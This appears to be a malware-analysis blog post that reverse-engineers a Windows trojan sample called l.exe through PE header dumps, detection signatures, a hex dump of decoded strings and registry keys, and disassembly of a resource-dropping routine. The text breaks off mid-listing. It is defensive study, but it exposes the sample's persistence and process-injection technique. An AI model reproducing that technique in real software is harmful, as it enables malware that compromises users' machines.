signature = 51 53 56 57 89 74 24 0c 8b 74 24 0c 33 db 8d 7e 0c 57 ff 16 85 c0 75 
0e 6a 0a ff 56 04 43 81 fb e8 03 00 00 7c eb 6a 00 ff 56 08 5f 5e 5b 59 c3 8b 4c 
24 04 d1 39 75 17 8b 41 1c 8b 51 10 0f be 14 02 40 89 51 18 89 41 1c c7 01 80 00 
00 00 8b 41 18 23 01 f7 d8 1b c0 f7 d8 c3 56 8b 74 24 08 33 c0 57 6a
ep_only = false
section_start_only = true

[l.exe Section(2/4,.rdata)]
signature = 66 32 00 00 52 32 00 00 42 32 00 00 78 32 00 00 00 00 00 00 68 31 00 
00 72 31 00 00 86 31 00 00 9c 31 00 00 a4 31 00 00 b2 31 00 00 ba 31 00 00 c4 31 
00 00 5e 31 00 00 e0 31 00 00 f4 31 00 00 04 32 00 00 14 32 00 00 22 32 00 00 34 
32 00 00 54 31 00 00 4a 31 00 00 40 31 00 00 d4 31 00 00 38 31 00 00
ep_only = false
section_start_only = true

[l.exe Section(3/4,.data)]
signature = 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ep_only = false
section_start_only = true

[l.exe Section(4/4,.rsrc)]
signature = 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 a0 00 00 80 20 00 00 
80 02 00 00 00 38 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 
00 00 50 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 00 00 68 
00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 09 04 00 00
ep_only = false
section_start_only = true


Done

----------DOS_HEADER----------

[IMAGE_DOS_HEADER]
e_magic:                       0x5A4D    
e_cblp:                        0x90      
e_cp:                          0x3       
e_crlc:                        0x0       
e_cparhdr:                     0x4       
e_minalloc:                    0x0       
e_maxalloc:                    0xFFFF    
e_ss:                          0x0       
e_sp:                          0xB8      
e_csum:                        0x0       
e_ip:                          0x0       
e_cs:                          0x0       
e_lfarlc:                      0x40      
e_ovno:                        0x0       
e_res:                         
e_oemid:                       0x0       
e_oeminfo:                     0x0       
e_res2:                        
e_lfanew:                      0xF8      

----------NT_HEADERS----------

[IMAGE_NT_HEADERS]
Signature:                     0x4550    

----------FILE_HEADER----------

[IMAGE_FILE_HEADER]
Machine:                       0x14C     
NumberOfSections:              0x4       
TimeDateStamp:                 0x4C89D17F [Fri Sep 10 06:34:39 2010 UTC]
PointerToSymbolTable:          0x0       
NumberOfSymbols:               0x0       
SizeOfOptionalHeader:          0xE0      
Characteristics:               0x10F     
Flags: IMAGE_FILE_LOCAL_SYMS_STRIPPED, IMAGE_FILE_32BIT_MACHINE, 
IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_LINE_NUMS_STRIPPED, 
IMAGE_FILE_RELOCS_STRIPPED

----------OPTIONAL_HEADER----------

[IMAGE_OPTIONAL_HEADER]
Magic:                         0x10B     
MajorLinkerVersion:            0x7       
MinorLinkerVersion:            0xA       
SizeOfCode:                    0x1400    
SizeOfInitializedData:         0xB200    
SizeOfUninitializedData:       0x0       
AddressOfEntryPoint:           0x221C    
BaseOfCode:                    0x1000    
BaseOfData:                    0x3000    
ImageBase:                     0x400000  
SectionAlignment:              0x1000    
FileAlignment:                 0x200     
MajorOperatingSystemVersion:   0x4       
MinorOperatingSystemVersion:   0x0       
MajorImageVersion:             0x0       
MinorImageVersion:             0x0       
MajorSubsystemVersion:         0x4       
MinorSubsystemVersion:         0x0       
Reserved1:                     0x0       
SizeOfImage:                   0x10000   
SizeOfHeaders:                 0x400     
CheckSum:                      0x0       
Subsystem:                     0x2       
DllCharacteristics:            0x0       
SizeOfStackReserve:            0x100000  
SizeOfStackCommit:             0x1000    
SizeOfHeapReserve:             0x100000  
SizeOfHeapCommit:              0x1000    
LoaderFlags:                   0x0       
NumberOfRvaAndSizes:           0x10      
DllCharacteristics: 

----------PE Sections----------

[IMAGE_SECTION_HEADER]
Name:                          .text
Misc:                          0x13F4    
Misc_PhysicalAddress:          0x13F4    
Misc_VirtualSize:              0x13F4    
VirtualAddress:                0x1000    
SizeOfRawData:                 0x1400    
PointerToRawData:              0x400     
PointerToRelocations:          0x0       
PointerToLinenumbers:          0x0       
NumberOfRelocations:           0x0       
NumberOfLinenumbers:           0x0       
Characteristics:               0x60000020
Flags: IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Entropy: 6.204615 (Min=0.0, Max=8.0)
MD5     hash: bfda5bd697813445265b021ff092b190
SHA-1   hash: 173b6e830610269954c8644d20486eaba91d4edd
SHA-256 hash: fd6473457dc54066784210a106ceb6493dbb8505b20e1522526d4d646eb880c0
SHA-512 hash: b72ae8257a1f665b06c17d7db4529f898ef2f3ef39395bc34829953b776e536c
3fe80a584d5732af53878f22c4a0b89d592f03a2d919b36b4d9122215d148b3c

[IMAGE_SECTION_HEADER]
Name:                          .rdata
Misc:                          0x298     
Misc_PhysicalAddress:          0x298     
Misc_VirtualSize:              0x298     
VirtualAddress:                0x3000    
SizeOfRawData:                 0x400     
PointerToRawData:              0x1800    
PointerToRelocations:          0x0       
PointerToLinenumbers:          0x0       
NumberOfRelocations:           0x0       
NumberOfLinenumbers:           0x0       
Characteristics:               0x40000040
Flags: IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
Entropy: 3.364436 (Min=0.0, Max=8.0)
MD5     hash: 824c8a3510d93a78cdb8695922939741
SHA-1   hash: d60002fa765f89076e7cd0c4310be0449ca5d02c
SHA-256 hash: ab424791cb649a748237215a658252c0d9259f390ec97ac484c5944ab649bd16
SHA-512 hash: 239f201a5784cd74c999910113a9ad8f969c8040a2c2ff36dc2b15644c72c364
1c4c6df791d65642102d734b6586cfa6a95b1153c3f72cd6a07c5cbeccc3478f

[IMAGE_SECTION_HEADER]
Name:                          .data
Misc:                          0xEC      
Misc_PhysicalAddress:          0xEC      
Misc_VirtualSize:              0xEC      
VirtualAddress:                0x4000    
SizeOfRawData:                 0x200     
PointerToRawData:              0x1C00    
PointerToRelocations:          0x0       
PointerToLinenumbers:          0x0       
NumberOfRelocations:           0x0       
NumberOfLinenumbers:           0x0       
Characteristics:               0xC0000040
Flags: IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
Entropy: 0.020393 (Min=0.0, Max=8.0)
MD5     hash: 598e1aae6ecbd8237c4383f4be94b9f1
SHA-1   hash: ab4a6d7509b109b24572e011b0696647c7af25f0
SHA-256 hash: f60983e21c9cca08114b490d798ca0c0435a6857fd6176a2da8222694af0e852
SHA-512 hash: 0a74c867644d10bcfb2921fb7a69f0aeee69c519b655e5829d37904d0cc32b30
ddd3a545d02fa83571c2750952b55cc2d7dc2a3c18691ace0b4fc534bb278ac6

[IMAGE_SECTION_HEADER]
Name:                          .rsrc
Misc:                          0xABB0    
Misc_PhysicalAddress:          0xABB0    
Misc_VirtualSize:              0xABB0    
VirtualAddress:                0x5000    
SizeOfRawData:                 0xAC00    
PointerToRawData:              0x1E00    
PointerToRelocations:          0x0       
PointerToLinenumbers:          0x0       
NumberOfRelocations:           0x0       
NumberOfLinenumbers:           0x0       
Characteristics:               0x40000040
Flags: IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
Entropy: 7.990610 (Min=0.0, Max=8.0)
MD5     hash: 25fd8acca1c403ecd520139d1a86cb23
SHA-1   hash: 7edd48c7c153987cb95f4696b1585e407038e5d7
SHA-256 hash: 2f8d2a24c1fb63346402dc9783b87ee3f72f8f125b459dab9e74e4120986f000
SHA-512 hash: 8271d44aaa437634976359020509c51d602d17cb793b4588c8c202fb90464d3d
e1ab243ff0ce0bdb8f27100e1c5ba5d915de7d60c9b49b2f68743ab6eed7badb

----------Directories----------

[IMAGE_DIRECTORY_ENTRY_EXPORT]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_IMPORT]
VirtualAddress:                0x3094    
Size:                          0x3C      
[IMAGE_DIRECTORY_ENTRY_RESOURCE]
VirtualAddress:                0x5000    
Size:                          0xABB0    
[IMAGE_DIRECTORY_ENTRY_EXCEPTION]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_SECURITY]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_BASERELOC]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_DEBUG]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_COPYRIGHT]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_GLOBALPTR]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_TLS]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_IAT]
VirtualAddress:                0x3000    
Size:                          0x68      
[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR]
VirtualAddress:                0x0       
Size:                          0x0       
[IMAGE_DIRECTORY_ENTRY_RESERVED]
VirtualAddress:                0x0       
Size:                          0x0       

----------Imported symbols----------

[IMAGE_IMPORT_DESCRIPTOR]
OriginalFirstThunk:            0x30E4    
Characteristics:               0x30E4    
TimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]
ForwarderChain:                0x0       
Name:                          0x3190    
FirstThunk:                    0x3014    

MSVCRT.dll.strcpy Hint[698]
MSVCRT.dll._except_handler3 Hint[202]
MSVCRT.dll.memset Hint[665]
MSVCRT.dll._exit Hint[211]
MSVCRT.dll._XcptFilter Hint[72]
MSVCRT.dll.exit Hint[585]
MSVCRT.dll._acmdln Hint[143]
MSVCRT.dll.__getmainargs Hint[88]
MSVCRT.dll.strcat Hint[694]
MSVCRT.dll.__setusermatherr Hint[131]
MSVCRT.dll._adjust_fdiv Hint[157]
MSVCRT.dll.__p__commode Hint[106]
MSVCRT.dll.__p__fmode Hint[111]
MSVCRT.dll.__set_app_type Hint[129]
MSVCRT.dll._controlfp Hint[183]
MSVCRT.dll.strlen Hint[702]
MSVCRT.dll.memcpy Hint[663]
MSVCRT.dll.malloc Hint[657]
MSVCRT.dll._initterm Hint[271]
MSVCRT.dll.free Hint[606]

[IMAGE_IMPORT_DESCRIPTOR]
OriginalFirstThunk:            0x30D0    
Characteristics:               0x30D0    
TimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]
ForwarderChain:                0x0       
Name:                          0x328A    
FirstThunk:                    0x3000    

KERNEL32.dll.GetProcAddress Hint[408]
KERNEL32.dll.GetModuleHandleA Hint[375]
KERNEL32.dll.IsBadReadPtr Hint[553]
KERNEL32.dll.GetStartupInfoA Hint[431]

----------Resource directory----------

[IMAGE_RESOURCE_DIRECTORY]
Characteristics:               0x0       
TimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]
MajorVersion:                  0x0       
MinorVersion:                  0x0       
NumberOfNamedEntries:          0x1       
NumberOfIdEntries:             0x1       
  Name: [RESBIN]
  [IMAGE_RESOURCE_DIRECTORY_ENTRY]
  Name:                          0x800000A0
  OffsetToData:                  0x80000020
    [IMAGE_RESOURCE_DIRECTORY]
    Characteristics:               0x0       
    TimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]
    MajorVersion:                  0x0       
    MinorVersion:                  0x0       
    NumberOfNamedEntries:          0x0       
    NumberOfIdEntries:             0x1       
      Id: [0x1]
      [IMAGE_RESOURCE_DIRECTORY_ENTRY]
      Name:                          0x1       
      OffsetToData:                  0x80000050
        [IMAGE_RESOURCE_DIRECTORY]
        Characteristics:               0x0       
        TimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]
        MajorVersion:                  0x0       
        MinorVersion:                  0x0       
        NumberOfNamedEntries:          0x0       
        NumberOfIdEntries:             0x1       
          [IMAGE_RESOURCE_DIRECTORY_ENTRY]
          Name:                          0x409     
          OffsetToData:                  0x80      
            [IMAGE_RESOURCE_DATA_ENTRY]
            OffsetToData:                  0x50B0    
            Size:                          0x400     
            CodePage:                      0x0       
            Reserved:                      0x0       

  Id: [0x2] (RT_BITMAP)
  [IMAGE_RESOURCE_DIRECTORY_ENTRY]
  Name:                          0x2       
  OffsetToData:                  0x80000038
    [IMAGE_RESOURCE_DIRECTORY]
    Characteristics:               0x0       
    TimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]
    MajorVersion:                  0x0       
    MinorVersion:                  0x0       
    NumberOfNamedEntries:          0x0       
    NumberOfIdEntries:             0x1       
      Id: [0x1]
      [IMAGE_RESOURCE_DIRECTORY_ENTRY]
      Name:                          0x1       
      OffsetToData:                  0x80000068
        [IMAGE_RESOURCE_DIRECTORY]
        Characteristics:               0x0       
        TimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]
        MajorVersion:                  0x0       
        MinorVersion:                  0x0       
        NumberOfNamedEntries:          0x0       
        NumberOfIdEntries:             0x1       
          [IMAGE_RESOURCE_DIRECTORY_ENTRY]
          Name:                          0x409     
          OffsetToData:                  0x90      
            [IMAGE_RESOURCE_DATA_ENTRY]
            OffsetToData:                  0x54B0    
            Size:                          0xA6FC    
            CodePage:                      0x0       
            Reserved:                      0x0       

The take-away from the reports are

  • There may or may not be anti VM techniques inside the binary
  • The import table and strings looks pretty harmless
  • the PE may be packed with Microsoft Visual C++ v6.0
  • Anti debugger trick using GetProcAddress() ?
  • The malware seems to be recognized by a few AV products (time of writing : january 2011).  McAfee identifiies it as a non self-replicating trojan named Vilsel.  As you will discover in this post, the one McAfee discovered is not the one we have caughtand are analyzing. This one might be a mutated form or just something that carries some of the Vilsel signatures.

So let’s just load it in a debugger & see what we can find.

When the executable launches, it does what we could expect from a typically normal C(++) console application : the default SEH handler is put in place, and application arguments (if any) are read from command line. Next, at 0x0040234B, it jumps to main()

image

In the main() function some memory gets allocated using a malloc(0x1000) call, and then a function is called which performs GetModuleHandleA() (basically retrieving its own baseaddress and storing the pointer in EAX). Next, more memory is allocated (malloc(0x6414)).  Then, memory at [EDI] is filled with "0x20 0x20 0x20 0x20" (3F1 dwords) .

image

It then uses an iteration to overwrite these "space" bytes with new bytes… new payload? Or just an unpack routine ? Let’s see…

image

image

00339D28  C6 01 D7 01 E3 01 ED 01  Æ×ãí
00339D30  FE 01 0A 02 19 02 25 02  þ.%
00339D38  3F 02 4B 02 5E 02 73 02  ?K^s
00339D40  86 02 97 02 A4 02 B2 02  †—¤²
00339D48  BE 02 CF 02 DA 02 E7 02  ¾ÏÚç
00339D50  F3 02 04 03 0A 03 1B 03  ó.
00339D58  2B 03 38 03 47 03 53 03  +8GS
00339D60  5D 03 70 03 7D 03 89 03  ]p}‰
00339D68  97 03 A4 03 B1 03 BE 03  —¤±¾
00339D70  CD 03 DD 03 E9 03 F5 03  ÍÝéõ
00339D78  70 6E 65 6E 33 32 36 30  pnen3260
00339D80  2E 64 6C 6C 00 63 61 6C  .dll.cal
00339D88  63 00 6F 73 6B 00 61 64  c.osk.ad
00339D90  76 61 70 69 33 32 00 5F  vapi32._
00339D98  21 52 4B 55 23 50 4E 50  !RKU#PNP
00339DA0  23 30 39 30 39 32 31 21  #090921!
00339DA8  5F 00 52 45 53 42 49 4E  _.RESBIN
00339DB0  00 43 4C 53 49 44 5C 00  .CLSID\.
00339DB8  33 32 2E 00 53 4F 46 54  32..SOFT
00339DC0  57 41 52 45 5C 4D 69 63  WARE\Mic
00339DC8  72 6F 73 6F 66 74 5C 57  rosoft\W
00339DD0  69 6E 64 6F 77 73 5C 43  indows\C
00339DD8  75 72 72 65 6E 74 56 65  urrentVe
00339DE0  72 73 69 6F 6E 5C 53 68  rsion\Sh
00339DE8  65 6C 6C 53 65 72 76 69  ellServi
00339DF0  63 65 4F 62 6A 65 63 74  ceObject
00339DF8  44 65 6C 61 79 4C 6F 61  DelayLoa
00339E00  64 00 41 70 61 72 74 6D  d.Apartm
00339E08  65 6E 74 00 7B 41 44 32  ent.{AD2
00339E10  36 41 43 35 46 2D 38 34  6AC5F-84
00339E18  32 31 2D 34 31 39 43 2D  21-419C-
00339E20  38 36 39 32 2D 45 44 31  8692-ED1
00339E28  46 45 37 34 44 30 46 45  FE74D0FE
00339E30  38 7D 00 54 68 72 65 61  8}.Threa
00339E38  64 69 6E 67 4D 6F 64 65  dingMode
00339E40  6C 00 52 65 61 6C 43 6F  l.RealCo
00339E48  64 65 63 00 53 68 65 6C  dec.Shel
00339E50  6C 5F 54 72 61 79 57 6E  l_TrayWn
00339E58  64 00 6E 74 64 6C 6C 00  d.ntdll.
00339E60  52 74 6C 41 64 6A 75 73  RtlAdjus
00339E68  74 50 72 69 76 69 6C 65  tPrivile
00339E70  67 65 00 75 73 65 72 33  ge.user3
00339E78  32 00 47 65 74 54 61 73  2.GetTas
00339E80  6B 6D 61 6E 57 69 6E 64  kmanWind
00339E88  6F 77 00 72 6D 6F 63 33  ow.rmoc3
00339E90  32 36 30 2E 74 6C 62 00  260.tlb.
00339E98  61 74 72 63 33 32 2E 64  atrc32.d
00339EA0  6C 6C 00 25 50 72 6F 67  ll.%Prog
00339EA8  72 61 6D 46 69 6C 65 73  ramFiles
00339EB0  25 5C 52 65 61 6C 5C 00  %\Real\.
00339EB8  25 53 79 73 74 65 6D 52  %SystemR
00339EC0  6F 6F 74 25 5C 73 79 73  oot%\sys
00339EC8  74 65 6D 33 32 5C 00 73  tem32\.s
00339ED0  66 63 2E 64 6C 6C 00 53  fc.dll.S
00339ED8  66 63 49 73 46 69 6C 65  fcIsFile
00339EE0  50 72 6F 74 65 63 74 65  Protecte
00339EE8  64 00 50 6C 75 67 69 6E  d.Plugin
00339EF0  32 61 2E 53 65 63 74 69  2a.Secti
00339EF8  6F 6E 00 46 69 6E 64 57  on.FindW
00339F00  69 6E 64 6F 77 41 00 61  indowA.a
00339F08  63 74 78 70 72 78 79 2E  ctxprxy.
00339F10  64 6C 6C 00 6B 65 72 6E  dll.kern
00339F18  65 6C 33 32 2E 64 6C 6C  el32.dll
00339F20  00 5C 49 6E 70 72 6F 63  .\Inproc
00339F28  53 65 72 76 65 72 33 32  Server32
00339F30  00 47 65 74 54 65 6D 70  .GetTemp
00339F38  50 61 74 68 41 00 47 65  PathA.Ge
00339F40  74 54 65 6D 70 46 69 6C  tTempFil
00339F48  65 4E 61 6D 65 41 00 43  eNameA.C
00339F50  6C 6F 73 65 48 61 6E 64  loseHand
00339F58  6C 65 00 43 6F 70 79 46  le.CopyF
00339F60  69 6C 65 41 00 43 72 65  ileA.Cre
00339F68  61 74 65 44 69 72 65 63  ateDirec
00339F70  74 6F 72 79 41 00 43 72  toryA.Cr
00339F78  65 61 74 65 46 69 6C 65  eateFile
00339F80  41 00 43 72 65 61 74 65  A.Create
00339F88  50 72 6F 63 65 73 73 41  ProcessA
00339F90  00 44 65 6C 65 74 65 46  .DeleteF
00339F98  69 6C 65 41 00 45 78 70  ileA.Exp
00339FA0  61 6E 64 45 6E 76 69 72  andEnvir
00339FA8  6F 6E 6D 65 6E 74 53 74  onmentSt
00339FB0  72 69 6E 67 73 41 00 46  ringsA.F
00339FB8  72 65 65 4C 69 62 72 61  reeLibra
00339FC0  72 79 00 47 65 74 46 69  ry.GetFi
00339FC8  6C 65 41 74 74 72 69 62  leAttrib
00339FD0  75 74 65 73 41 00 47 65  utesA.Ge
00339FD8  74 46 69 6C 65 41 74 74  tFileAtt
00339FE0  72 69 62 75 74 65 73 45  ributesE
00339FE8  78 41 00 47 65 74 4D 6F  xA.GetMo
00339FF0  64 75 6C 65 46 69 6C 65  duleFile
00339FF8  4E 61 6D 65 41 00 47 65  NameA.Ge
0033A000  74 54 68 72 65 61 64 43  tThreadC
0033A008  6F 6E 74 65 78 74 00 49  ontext.I
0033A010  73 42 61 64 52 65 61 64  sBadRead
0033A018  50 74 72 00 4D 61 70 56  Ptr.MapV
0033A020  69 65 77 4F 66 46 69 6C  iewOfFil
0033A028  65 00 4D 6F 76 65 46 69  e.MoveFi
0033A030  6C 65 45 78 41 00 4F 70  leExA.Op
0033A038  65 6E 46 69 6C 65 4D 61  enFileMa
0033A040  70 70 69 6E 67 41 00 4F  ppingA.O
0033A048  70 65 6E 4D 75 74 65 78  penMutex
0033A050  41 00 52 65 73 75 6D 65  A.Resume
0033A058  54 68 72 65 61 64 00 53  Thread.S
0033A060  65 74 46 69 6C 65 54 69  etFileTi
0033A068  6D 65 00 53 65 74 54 68  me.SetTh
0033A070  72 65 61 64 43 6F 6E 74  readCont
0033A078  65 78 74 00 53 6C 65 65  ext.Slee
0033A080  70 00 54 65 72 6D 69 6E  p.Termin
0033A088  61 74 65 50 72 6F 63 65  ateProce
0033A090  73 73 00 55 6E 6D 61 70  ss.Unmap
0033A098  56 69 65 77 4F 66 46 69  ViewOfFi
0033A0A0  6C 65 00 56 69 72 74 75  le.Virtu
0033A0A8  61 6C 41 6C 6C 6F 63 00  alAlloc.
0033A0B0  56 69 72 74 75 61 6C 41  VirtualA
0033A0B8  6C 6C 6F 63 45 78 00 56  llocEx.V
0033A0C0  69 72 74 75 61 6C 46 72  irtualFr
0033A0C8  65 65 00 57 72 69 74 65  ee.Write
0033A0D0  46 69 6C 65 00 57 72 69  File.Wri
0033A0D8  74 65 50 72 6F 63 65 73  teProces
0033A0E0  73 4D 65 6D 6F 72 79 00  sMemory.
0033A0E8  4C 6F 61 64 4C 69 62 72  LoadLibr
0033A0F0  61 72 79 41 00 45 78 69  aryA.Exi
0033A0F8  74 50 72 6F 63 65 73 73  tProcess
0033A100  00 46 69 6E 64 52 65 73  .FindRes
0033A108  6F 75 72 63 65 41 00 46  ourceA.F
0033A110  72 65 65 52 65 73 6F 75  reeResou
0033A118  72 63 65 00 4C 6F 61 64  rce.Load
0033A120  52 65 73 6F 75 72 63 65  Resource
0033A128  00 4C 6F 63 6B 52 65 73  .LockRes
0033A130  6F 75 72 63 65 00 53 69  ource.Si
0033A138  7A 65 6F 66 52 65 73 6F  zeofReso
0033A140  75 72 63 65 00 52 65 67  urce.Reg
0033A148  43 72 65 61 74 65 4B 65  CreateKe
0033A150  79 45 78 41 00 52 65 67  yExA.Reg
0033A158  43 6C 6F 73 65 4B 65 79  CloseKey
0033A160  00 52 65 67 4F 70 65 6E  .RegOpen
0033A168  4B 65 79 41 00 52 65 67  KeyA.Reg
0033A170  53 65 74 56 61 6C 75 65  SetValue
0033A178  45 78 41 00 00           ExA..

Awwww – no payload, but not "harmless" either…  Those look like strings, filenames, function names, reg keys, paths, etc to me…

At this point, the l.exe does not seem to be packed or anything (which probably would flag detection tools right away)

Next, pointers to the following functions are retrieved and pointers are stored at 00404024 + offset:

  • GetTempPathA
  • GetTempFileNameA
  • CloseHandle
  • CopyFileA
  • CreateDirectoryA
  • CreateFileA
  • CreateProcessA
  • DeleteFileA
  • ExpandEnvironmentStringsA
  • FreeLibrary

(and so on, basically getting pointers for all of the functions that were put in memory earlier, and storing the function pointers somewhere in memory :

image

Next, the binary loads advapi32.dll and rpcrt4.dll, and uses GetProcAddress to get the pointer to RegCreateKeyExA(), RegCloseKey(), RegOpenKeyA(), RegSetValueExA(),

image

Then, memset() is called (9x9BB bytes), effectively clearing part of the memory location that was used to hold all function names, regkeys, paths, etc.

image

After memset is executed, we see that part of the memory block was cleared :

image

Then, kernel32.GetTempPathA() is executed, followed by kernel32.GetTempFileNameA()

image

After GetTempPathA, the location of the temp folder under C:\Documents and Settings\\Local Settings is retrieved and a pointer to the string is stored in EAX, and used to set up the parameters for GetTempFileNameA()

image

Next, the following routine is called :

image

This routine will verify that the process has read access to the specified memory range (the memory block used to hold function names, etc), and then retrieves a pointer to one of the strings from that array into EAX. (FindWindowA), and puts it onto the stack. It then runs the same routine again, retrieves a pointer to string "user32". Basically, this routine will retrieve pointers to strings in the array that was built earlier. This routine will be used many times in the binary.

Next, LoadLibrary() is used to load user32.dll

image

Then the function pointer of user32.FindWindowsA is retrieved

image

Next, a pointer to the temporary filename that was retrieved earlier is placed on the stack,

image

and the routine at 0x00401438 is called.  In that routine, we see the following actions :

00401538  /$ 55             PUSH EBP
00401539  |. 8BEC           MOV EBP,ESP
0040153B  |. 81EC 34010000  SUB ESP,134
00401541  |. 53             PUSH EBX
00401542  |. 56             PUSH ESI
00401543  |. 57             PUSH EDI
00401544  |. 6A 02          PUSH 2
00401546  |. 33F6           XOR ESI,ESI
00401548  |. 6A 01          PUSH 1
0040154A  |. 56             PUSH ESI
0040154B  |. 8975 FC        MOV DWORD PTR SS:[EBP-4],ESI
0040154E  |. FF15 AC404000  CALL DWORD PTR DS:[4040AC]                                 ;  kernel32.FindResourceA
00401554  |. 8BF8           MOV EDI,EAX
00401556  |. 57             PUSH EDI
00401557  |. 56             PUSH ESI
00401558  |. FF15 B4404000  CALL DWORD PTR DS:[4040B4]                                 ;  kernel32.LoadResource
0040155E  |. 8BD8           MOV EBX,EAX
00401560  |. 3BDE           CMP EBX,ESI
00401562  |. 895D F4        MOV DWORD PTR SS:[EBP-C],EBX
00401565  |. 0F84 05010000  JE l.00401670
0040156B  |. 3935 20404000  CMP DWORD PTR DS:[404020],ESI
00401571  |. 0F84 F9000000  JE l.00401670
00401577  |. 57             PUSH EDI
00401578  |. 56             PUSH ESI
00401579  |. FF15 BC404000  CALL DWORD PTR DS:[4040BC]                                 ;  kernel32.SizeofResource
0040157F  |. 53             PUSH EBX
00401580  |. FF15 B8404000  CALL DWORD PTR DS:[4040B8]                                 ;  kernel32.SetHandleCount
00401586  |. 6A 04          PUSH 4
00401588  |. 68 00100000    PUSH 1000
0040158D  |. 68 00000100    PUSH 10000                                                 ;  UNICODE "ALLUSERSPROFILE=C:\Documents and Settings\All Users"
00401592  |. 56             PUSH ESI
00401593  |. FF15 80404000  CALL DWORD PTR DS:[404080]                                 ;  kernel32.VirtualAlloc
00401599  |. 8BF8           MOV EDI,EAX
0040159B  |. 3BFE           CMP EDI,ESI
0040159D  |. 0F84 C6000000  JE l.00401669
004015A3  |. 57             PUSH EDI
004015A4  |. 56             PUSH ESI
004015A5  |. 83C3 28        ADD EBX,28
004015A8  |. 53             PUSH EBX
004015A9  |. E8 0DFEFFFF    CALL l.004013BB
004015AE  |. 83C4 0C        ADD ESP,0C
004015B1  |. 3D 30900000    CMP EAX,9030
004015B6  |. 8945 F8        MOV DWORD PTR SS:[EBP-8],EAX
004015B9  |. 0F86 9A000000  JBE l.00401659
004015BF  |. 68 E0000000    PUSH 0E0                                                   ; /n = E0 (224.)
004015C4  |. FF35 20404000  PUSH DWORD PTR DS:[404020]                                 ; |src = l.004053D0
004015CA  |. 8D87 30900000  LEA EAX,DWORD PTR DS:[EDI+9030]                            ; |
004015D0  |. 50             PUSH EAX                                                   ; |dest
004015D1  |. E8 EE0B0000    CALL <JMP.&MSVCRT.memcpy>                                  ; \memcpy
004015D6  |. 83C4 0C        ADD ESP,0C
004015D9  |. 56             PUSH ESI
004015DA  |. 56             PUSH ESI
004015DB  |. 6A 03          PUSH 3
004015DD  |. 56             PUSH ESI
004015DE  |. 56             PUSH ESI
004015DF  |. 68 000000C0    PUSH C0000000
004015E4  |. FF75 08        PUSH DWORD PTR SS:[EBP+8]
004015E7  |. FF15 38404000  CALL DWORD PTR DS:[404038]                                 ;  kernel32.CreateFileA
004015ED  |. 8BD8           MOV EBX,EAX
004015EF  |. 83FB FF        CMP EBX,-1
004015F2  |. 74 65          JE SHORT l.00401659
004015F4  |. 56             PUSH ESI
004015F5  |. 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
004015F8  |. 50             PUSH EAX
004015F9  |. FF75 F8        PUSH DWORD PTR SS:[EBP-8]
004015FC  |. 57             PUSH EDI
004015FD  |. 53             PUSH EBX
004015FE  |. FF15 8C404000  CALL DWORD PTR DS:[40408C]                                 ;  kernel32.WriteFile
00401604  |. 6A 10          PUSH 10
00401606  |. 8945 FC        MOV DWORD PTR SS:[EBP-4],EAX
00401609  |. E8 C3FEFFFF    CALL l.004014D1
0040160E  |. 59             POP ECX
0040160F  |. 50             PUSH EAX                                                   ; /pModule
00401610  |. FF15 04304000  CALL DWORD PTR DS:[<&KERNEL32.GetModuleHandleA>]           ; \GetModuleHandleA
00401616  |. 68 04010000    PUSH 104
0040161B  |. 8D8D CCFEFFFF  LEA ECX,DWORD PTR SS:[EBP-134]
00401621  |. 51             PUSH ECX
00401622  |. 50             PUSH EAX
00401623  |. FF15 4C404000  CALL DWORD PTR DS:[40404C]                                 ;  kernel32.GetModuleFileNameA
00401629  |. 8D45 D0        LEA EAX,DWORD PTR SS:[EBP-30]
0040162C  |. 50             PUSH EAX
0040162D  |. 56             PUSH ESI
0040162E  |. 8D85 CCFEFFFF  LEA EAX,DWORD PTR SS:[EBP-134]
00401634  |. 50             PUSH EAX
00401635  |. FF15 48404000  CALL DWORD PTR DS:[404048]                                 ;  kernel32.GetFileAttributesExA
